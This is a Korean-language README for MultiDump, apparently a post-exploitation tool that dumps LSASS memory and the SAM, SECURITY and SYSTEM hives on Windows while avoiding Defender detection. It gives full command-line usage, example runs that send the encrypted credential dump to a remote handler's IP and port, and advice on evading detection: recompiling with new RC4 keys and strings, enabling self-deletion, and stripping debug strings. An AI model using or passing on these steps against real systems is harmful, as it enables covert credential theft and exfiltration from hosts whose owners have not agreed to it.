
MultiDump는 LSASS 메모리를 은밀하게 덤프하고 추출하기 위한 사후 침투 도구입니다.
MultiDump는 C로 작성된 포스트 익스플로잇 도구로, Defender 경고를 트리거하지 않고 LSASS 메모리를 신중하게 덤프하고 추출하며, Python으로 작성된 핸들러를 포함합니다.

블로그 게시물: https://xreous.io/posts/multidump
MultiDump는 ProcDump.exe 또는 comsvc.dll을 통한 LSASS 덤프를 지원하며, 두 가지 모드를 제공합니다: 덤프 파일을 암호화하여 로컬에 저장하는 로컬 모드와, 복호화 및 분석을 위해 핸들러로 덤프를 전송하는 원격 모드입니다.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
모든 LSASS 관련 도구와 마찬가지로 관리자/SeDebugPrivilege 권한이 필요합니다.
핸들러는 LSASS 덤프를 파싱하기 위해 Pypykatz에, 레지스트리 저장본을 파싱하기 위해 impacket에 의존합니다. 이들은 환경에 설치되어 있어야 합니다. All detection methods failed 오류가 발생하면 Pypykatz 버전이 오래된 것일 가능성이 높습니다.
기본적으로 MultiDump는 Comsvc.dll 방식을 사용하며 암호화된 덤프를 현재 디렉터리에 저장합니다.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
--procdump를 사용하면 ProcDump.exe가 디스크에 기록되어 LSASS를 덤프하는 데 사용됩니다.
cmd에서는 --procdump를 반드시 사용해야 하며, 그렇지 않으면 #5에 따라 실패합니다. 가능하면 항상 PowerShell을 사용하는 것이 좋습니다.
원격 모드에서 MultiDump는 핸들러의 리스너에 연결됩니다.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
키는 핸들러의 IP와 포트로 암호화됩니다. MultiDump가 프록시를 통해 연결할 때, 핸들러는 --override-ip 옵션을 사용하여 원격 모드에서 키 생성을 위한 IP 주소를 수동으로 지정해야 하며, 이렇게 하면 복호화 IP가 MultiDump -r에 설정된 예상 IP와 일치하여 복호화가 올바르게 작동합니다.
--reg 옵션을 사용하여 SAM, SECURITY 및 SYSTEM 하이브를 덤프할 수 있으며, 복호화 과정은 LSASS 덤프와 동일합니다. 이는 포스트 익스플로잇 정보 수집을 더 쉽게 하기 위한 편의 기능입니다.
Visual Studio에서 열고 Release 모드로 빌드합니다.
컴파일 전에 바이너리를 커스터마이징하는 것이 좋습니다. 예를 들어 정적 문자열이나 이를 암호화하는 데 사용되는 RC4 키를 변경하는 경우, 이를 위해 포함된 다른 Visual Studio 프로젝트인 EncryptionHelper가 있습니다. 간단히 키나 문자열을 변경하고, 컴파일된 EncryptionHelper.exe의 출력을 MultiDump.c와 Common.h에 붙여넣으면 됩니다.
자기 삭제(self deletion)는 Common.h에서 다음 줄의 주석을 해제하여 활성화할 수 있습니다:
#define SELF_DELETION
문자열 분석을 더욱 회피하기 위해 Debug.h에서 다음 줄을 주석 처리하여 대부분의 출력 메시지를 컴파일에서 제외할 수 있습니다:
//#define DEBUG
MultiDump는 Windows 10 22H2 (19045)에서 (어느 정도) 탐지될 수 있으며, 이에 대한 수정 사항을 (어느 정도) 구현했습니다. 조사 및 구현에 대한 내용은 별도의 블로그 게시물로 작성할 가치가 있습니다: https://xre0us.io/posts/saving-lsass-from-defender/